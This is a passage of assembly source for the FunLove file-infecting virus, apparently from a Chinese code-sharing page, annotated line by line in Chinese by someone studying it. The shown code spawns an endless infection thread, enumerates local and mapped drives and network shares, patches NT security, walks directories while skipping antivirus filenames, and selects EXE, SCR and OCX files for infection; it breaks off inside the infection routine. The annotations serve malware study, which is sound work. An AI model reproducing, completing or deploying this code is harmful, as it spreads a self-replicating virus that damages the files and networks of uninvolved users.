?? funlove_vir.txt
字號:
ret ; if the admin tries to halt the
; service, he‘ll get a system error
ServiceHandler ENDP
; ------------------------------------------------------------------------- ;
; ------------------- Thread Creation Routine ------------------ ;
; ------------------------------------------------------------------------- ;
StartInfectionThread PROC PASCAL NEAR
LOCAL ThreadId : DWORD;定義本地變量threadid,保存線程句柄;
call GetTickCount ;取得隨機(jī)值;
mov [Rand @],eax ;把得到的值,給變量band保存;
lea eax,ThreadId--------|
push eax |
push 0 |
push 0 |
lea eax,[VThread @] |表示新線程開始執(zhí)行時代碼所在函數(shù)的地址,即為線程函 |數(shù)
push eax |
push 0 |
push 0 |注意這里的0,表示是立即執(zhí)行的意思
call CreateThread--------|建立新線程
ret
StartInfectionThread ENDP
; ------------------------------------------------------------------------- ;
; ---------------------------- Viral Thread --------------------------- ;
; ------------------------------------------------------------------------- ;
VThread PROC NEAR
call GetVS ;定位;
call InfectDrives;感染驅(qū)動器模塊;
push 60d * 1000d---|
call Sleep ------|睡一覺(我都想睡了,繼續(xù)吧)
call GetRand---------|
and al,1F |
jnz short VThread---|以一定的概率感染本地文件;
call InfectNetwork;開始網(wǎng)絡(luò)感染;
jmp short VThread;跳轉(zhuǎn)到vthread,繼續(xù)執(zhí)行,這是一個死循環(huán);
VThread ENDP
; ------------------------------------------------------------------------- ;
; --------------------- Network Infection Routine --------------------- ;
; ------------------------------------------------------------------------- ;
InfectNetwork PROC NEAR
lea eax,[MPR_Name @]--------|
push eax |
call LoadLibraryA------------|加載mpr.dll庫文件;
or eax,eax ---------------|
jz short INet_Failed-------|失敗跳轉(zhuǎn);
push eax---------------------|
lea esi,[MPR_Functions @] |
push esi |
call DLL_Relocate------------|搜索得到mpr.dll中的相關(guān)api的地址;
or eax,eax-----------------|
jz short INet_Failed-------|失敗跳轉(zhuǎn);
push 00----------------------|
call NetSearch---------------|開始搜索共享;
INet_Failed:
ret
InfectNetwork ENDP
; ------------------------------------------------------------------------- ;
; ---------------------- Valid Drive Test Routine --------------------- ;
; ------------------------------------------------------------------------- ;
InfectDrives PROC NEAR
push esi
call GetTickCount --|取得當(dāng)前運(yùn)行的時間保存,以作為一個隨機(jī)值
mov [Tick @],eax---|
lea esi,[Buffer1 @] ;取得buffer1的地址,然后初始化,內(nèi)容為
mov dword ptr [esi],‘ \:@‘ ;@:\,注意,這里的@為a盤的前一個字符
表示這里從a開始;
ID_TestDrive:
mov byte ptr [esi + 03],00--|給字符串后加上0,構(gòu)造參數(shù)
push esi |
call GetDriveTypeA---------- | 判斷驅(qū)動器的類型;
cmp al,03 -----------|判斷是否為不可移動的驅(qū)動器(例如硬盤)
jz short ID_DriveOk--------|是則開始感染
cmp al,04 ---------|判斷是否為映射的網(wǎng)絡(luò)盤
jnz short ID_Invalid--------|不是則去做錯誤處理;證明這個盤符沒用了;
ID_DriveOk:
add esi,03;esi加3后,注意它已經(jīng)指向形如"x:\"的后面;
push esi -------|
call BlownAway----| 給nt打補(bǔ)??;
push esi -----| 搜索文件;
call FileSearch---|
sub esi,03;回到buffer1的開頭,為下一次操作做準(zhǔn)備;
ID_Invalid:
mov al,[Buffer1 @]---------|
inc al |
mov [Buffer1 @],al |
|
cmp al,‘Z‘ |
jna short ID_TestDrive-----|循環(huán)獲取26個盤符
pop esi
ret
InfectDrives ENDP
; ------------------------------------------------------------------------- ;
; ----------------- Recursive Computer Search Routine ----------------- ;
; ------------------------------------------------------------------------- ;
NetSearch PROC PASCAL NEAR
ARG WNetStructAddr:DWORD ; 定義一個指向網(wǎng)絡(luò)數(shù)據(jù)結(jié)構(gòu)的指針;
LOCAL EnumBufferAddr:DWORD, \ ; 定義一個變量保存網(wǎng)絡(luò)緩存的地址;
EnumBufferSize:DWORD, \ ; 定義網(wǎng)絡(luò)緩存的大小,現(xiàn)在沒值
EnumNB_Objects:DWORD ; 定義一個保存枚舉機(jī)構(gòu)后的變量來保存枚舉數(shù)量;
USES esi, edi
mov EnumBufferSize,4000;初始化網(wǎng)絡(luò)緩存大小為4000;
or EnumNB_Objects,-1 ;初始化枚舉變量為ffff,在這里表示為所有的共享資源
lea eax,WNetStructAddr------|
push eax |
push WNetStructAddr |
push 0 |
push 0 |
push 2 |
call WNetOpenEnumA-----------|啟動一個枚舉過程,產(chǎn)生一個句柄;
or eax,eax-----------------|
jnz NET_Close---------------|失敗,關(guān)閉網(wǎng)絡(luò)連接;
push 04 ------------|
push 1000 |
push 4000 |
push 00 |
call VirtualAlloc -----------|分配一塊可讀寫的內(nèi)存
or eax,eax-----------------|
jz short NET_Close---------|失敗,關(guān)閉網(wǎng)絡(luò)連接;
mov EnumBufferAddr,eax ;把分配的虛擬內(nèi)存的地址值給網(wǎng)絡(luò)緩存地址變量,
為后面的處理做準(zhǔn)備;
NET_00:
mov esi,EnumBufferAddr--------|
|
lea eax,EnumBufferSize |
push eax |
push esi |
lea eax,EnumNB_Objects |
push eax |
push WNetStructAddr |
call WNetEnumResourceA---------|開始枚舉共享;
or eax,eax-----------------|
jnz short NET_Free----------|失敗,釋放虛擬內(nèi)存空間;
mov ecx,EnumNB_Objects;實(shí)際枚舉的資源數(shù)量
or ecx,ecx;----------------|
jz short NET_00-------------|比較是否有共享,沒有就繼續(xù)找(這里我有個問題
如果一直沒有共享資源,豈不是要成死循環(huán)?)
NET_01:
push ecx;保存資源數(shù)量
push esi;保存網(wǎng)絡(luò)緩存的地址;
mov esi,[esi + 14] ;得到資源的網(wǎng)絡(luò)名,形如\\xxx\x
or esi,esi ;是否為空?
jz short NET_03 ;yes,奇怪,空的也可以?:)
cmp word ptr [esi],0041 ;是否為軟盤驅(qū)動器?
jz short NET_03 ;yes,那么也跳吧 (這里我又個有個問題,看來它的判斷 是由共享資源的名字來判斷的,如果我給一個文件夾的共 享名取為a呢?會如何呢?)
lea edi,[Buffer1 @] ;都不是,就開始準(zhǔn)備構(gòu)造字符串了;
NET_02:
movsb -----------------|
cmp byte ptr [esi],00 |
jnz short NET_02 |
|
mov al,‘\‘ |
stosb -----------------------|構(gòu)造形入\\xxx\x\的字符串;
push edi ----------------------|
call BlownAway-----------------|nt補(bǔ)丁文件那一塊,這里是遠(yuǎn)程打補(bǔ)丁了;
push edi --------------------|
call FileSearch----------------|調(diào)用文件搜索的過程,開始搜索并感染文件;
NET_03:
pop esi-----------------------|
|
mov eax,[esi + 0C] |
and al,2 |
cmp al,2 |
jnz short NET_04--------------|是否還有其他的由當(dāng)前的資源包含的可以枚舉的
額外的資源
push esi ----------------------|
call NetSearch-----------------|如果有的話,作為參數(shù)在一次搜索,這里其實(shí)可以 理解為子目錄的意思
NET_04:
add esi,20--------------------|
pop ecx |
loop NET_01--------------------|找到了,esi朝后繼續(xù)找下一個共享;
jmp short NET_00 ;又一次開始枚舉網(wǎng)絡(luò)資源
NET_Free:
push 8000---------------------|
push 00 |
push EnumBufferAddr |
call VirtualFree--------------|釋放虛擬內(nèi)存空間,這里為什么用8000呢
NET_Close:
push WNetStructAddr-----------|
call WNetCloseEnum------------|結(jié)束枚舉操作;
ret
NetSearch ENDP
; ------------------------------------------------------------------------- ;
; ------------------- Recursive File Search Routine ------------------- ;
; ------------------------------------------------------------------------- ;
FileSearch PROC PASCAL NEAR
ARG CurrentDirEnd : DWORD 從堆棧取得當(dāng)前的目錄字符串的首地址;
LOCAL SearchHandle : DWORD 定義本地變量,保存搜索后找到的文件句柄;
USES esi,edi
mov eax,CurrentDirEnd ;eax保存當(dāng)前的目錄字符串的首地址;
mov dword ptr [eax],002A2E2A ; 在buffer1當(dāng)前位置后面添加*.*現(xiàn)在的形式就為
x:\*.*
lea edi,[Buffer2 @]--------|
lea esi,[Buffer1 @] |
push edi |
push esi |
call FindFirstFileA---------|尋找文件,把結(jié)果放在buffer2里;
cmp eax,-1-----------------|
jz short RS_Exit----------|不成功,咱就走;
RS_00:
mov SearchHandle,eax;保存找到后的句柄;
RS_01:
test byte ptr [edi],10------|
jz short FileTest---------|判斷是文件還是目錄,注意“."和
"..",如果是文件就進(jìn)行測試,是目錄的話就繼續(xù)深入 ,一層一層擴(kuò)展;
RS_Directory:
cmp byte ptr [edi + 2C],‘.‘---|如果是當(dāng)前目錄,就開始找;
jz short RS_Next-------------|
mov esi,edi-------------------|
add esi,2C--------------------|取得目錄名,這里是除了保留目錄外的其他目錄名
mov edi,CurrentDirEnd;回到字符串的位置為后面構(gòu)造字符串做準(zhǔn)備;
RSD_00:
movsb ----------|
cmp byte ptr [esi],0 |
jnz short RSD_00----------|構(gòu)造形狀如x:\x的字符串
mov al,‘\‘----------------|在后面加上"\",buffer1里面現(xiàn)在的
stosb -------------|形狀如x:\x\
push edi --------|
call FileSearch --------|在一次搜索,這時當(dāng)前目錄名也變了(如果這里用
遞歸的話?)
RS_Next:
lea edi,[Buffer2 @]-------|
push edi |
push SearchHandle |
call FindNextFileA---------|繼續(xù)尋找下一個目錄
or eax,eax---------------|
jnz short RS_01 |沒有東西了,表示本目錄下沒有文件或目錄了
|那么就關(guān)閉,如果有就繼續(xù)找;
push SearchHandle |
call FindClose-------------|
RS_Exit:
ret
FileTest:
mov edx,[edi + 2C]--------|
or edx,20202020 |把文件的擴(kuò)展名
xor edx,61F81F61----------|大寫轉(zhuǎn)小寫,然后把非字母的轉(zhuǎn)回去,比如”."號
lea esi,[SkipNames @] ----------------------|
mov ecx,0C;12次,因?yàn)楹竺嬗?2個文件名字 |
|
FT_00: |
lodsd |
cmp edx,eax ;比較是否為殺毒軟件的開頭字符; |
jz short FT_Exit;如果是就去找下一個; |
|
loop FT_00 ----------------------------------|查找是否是殺毒軟件的文件名;
mov esi,edi--------------------------|
add esi,2C |
|
FT_01: |
lodsb |
or al,al |
jnz short FT_01 |
|
mov eax,[esi - 4] |
or eax,20202020---------------------|如果不是殺毒文件的話,就取的它的擴(kuò)展 名開始比較
cmp eax,‘ xco‘----------------------|
jz short FT_02 |
|
cmp eax,‘ rcs‘ |
jz short FT_02 |
|
cmp eax,‘ exe‘ |
jnz short FT_Exit-------------------|比較是否是我們想感染的文件類型;
FT_02:
mov eax,[edi + 20]---------------|
cmp eax,2000 |
jc short FT_Exit----------------|比較文件大小是否可以值得感染,不小于2k
cmp al,03 ------------------|
jz short FT_Exit------------|這里是判斷是否是感染后的文件,是則退出感染
lea esi,[Buffer1 @]-----------|
lea edi,[Buffer3 @] |
push edi |
|
mov ecx,CurrentDirEnd~~~~~~~~~|計(jì)算當(dāng)前的字符串的長度
sub ecx,esi~~~~~~~~~~~~~~~~~~~|這2句;
repz movsb---------------------|這里是得到目錄路徑了,為下面的感染構(gòu)造字符串
lea esi,[Buffer2 @]-----------|
add esi,2C |
|
FT_03: |
movsb |
cmp byte ptr [esi - 1],0 |
jnz short FT_03---------------|得到文件名,至此,一個絕對路徑的字符串構(gòu)造成 功
call InfectFile 開始感染
FT_Exit:
jmp RS_Next
FileSearch ENDP
; ------------------------------------------------------------------------- ;
; ----------------------- File Infection Routine ---------------------- ;
; ------------------------------------------------------------------------- ;
InfectFile PROC PASCAL NEAR
ARG i_Filename : DWORD ;從堆棧得到文件名;
LOCAL i_FileHandle : DWORD, \定義本地變量,用于保存文件句柄;
i_FileSize : DWORD, \定義本地變量,用于保存文件大??;
i_BytesRead : DWORD, \定義本地變量,用于保存文件的實(shí)際讀寫字節(jié)數(shù)
i_VirusOffset : DWORD, \定義本地變量,用于保存病毒的偏移地址;
i_MapHandle : DWORD, \定義本地變量,用于保存內(nèi)存映射文件的句柄;
i_HostDep32 : DWORD, \定義本地變量,用于保存
i_EP_Offset : DWORD 定義本地變量,用于保存
USES esi,edi ;保存esi,edi的值,本過程結(jié)束后自動恢復(fù);
push i_Filename---------|
push 03 |
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -